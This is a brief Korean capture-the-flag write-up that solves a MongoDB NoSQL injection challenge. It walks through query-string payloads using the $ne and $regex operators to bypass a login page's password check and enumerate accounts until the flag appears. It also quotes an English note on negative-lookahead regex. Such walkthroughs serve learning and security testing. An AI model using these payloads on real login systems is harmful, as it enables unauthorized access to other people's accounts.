로그인 페이지가 존재한다.
아이디와 패스워드는 GET 파라미터로 전달된다.
NoSQL 인젝션으로는 몽고DB를 대상으로 한 인젝션 기법이 일반적이다.
시도해보자
login=admin$&pass[$ne]=test
하지만 단순히 admin으로 연결됬다는 문구만 출력된다.
다른 계정을 찾아야할 것 같다.
login[$ne]=admin$&pass[$ne]=test
마찬가지로 test 계정으로 로그인됬다고 표시가 된다.
다시 찾아보자.
mongoDB에서 정규표현식으로 검색할 때 사용하는 연산자이다.
이 연산자를 이용해 특정 문자열을 제외하여 검색할 수 있다.
Note that the solution to does not start with “hede”:
^(?!hede).*$
is generally much more efficient than the solution to does not contain “hede”:
^((?!hede).)*$
The former checks for “hede” only at the input string’s first position, rather than at every position.
or 연산자를 이용해 admin과 test를 모두 제외해서 검색하면
플래그 값을 획득할 수 있다.
login[$regex]=^(?!admin|test).*$&pass[$ne]=test